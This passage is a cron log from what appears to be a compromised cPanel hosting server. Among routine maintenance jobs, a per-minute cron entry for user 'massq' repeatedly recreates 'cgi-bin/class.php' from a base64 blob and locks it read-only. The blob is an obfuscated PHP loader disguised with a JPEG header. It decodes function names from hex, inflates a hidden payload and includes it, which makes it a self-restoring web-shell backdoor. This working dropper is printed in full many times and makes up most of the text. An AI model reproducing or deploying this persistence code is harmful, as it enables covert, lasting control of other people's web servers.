tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:46:01 server CROND[31675]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:46:01 server CROND[31676]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:46:01 server CROND[31677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:47:01 server CROND[32048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:47:01 server CROND[32049]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:47:01 server CROND[32050]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:48:01 server CROND[32415]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:48:01 server CROND[32416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:48:01 server CROND[32417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:49:01 server CROND[425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:49:01 server CROND[428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:49:01 server CROND[426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:50:01 server CROND[842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:50:01 server CROND[844]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 01:50:01 server CROND[846]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 01:50:01 server CROND[847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:50:01 server CROND[849]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:50:01 server CROND[851]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:50:01 server CROND[853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:50:01 server CROND[848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:50:01 server CROND[850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:51:01 server CROND[1766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:51:01 server CROND[1767]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:51:01 server CROND[1768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:52:01 server CROND[2174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:52:01 server CROND[2175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:52:01 server CROND[2176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:53:01 server CROND[2551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:53:01 server CROND[2552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:53:01 server CROND[2553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:54:01 server CROND[3011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:54:01 server CROND[3012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:54:01 server CROND[3013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:55:01 server CROND[3425]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 01:55:01 server CROND[3432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:55:01 server CROND[3433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 01:55:01 server CROND[3429]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:55:01 server CROND[3431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:55:01 server CROND[3435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 01:55:01 server CROND[3430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 01:56:01 server CROND[4232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:56:01 server CROND[4233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:56:01 server CROND[4231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:57:01 server CROND[4603]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 01:57:01 server CROND[4605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 01:57:01 server CROND[4606]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 01:57:01 server CROND[4604]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 01:58:01 server CROND[4988]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
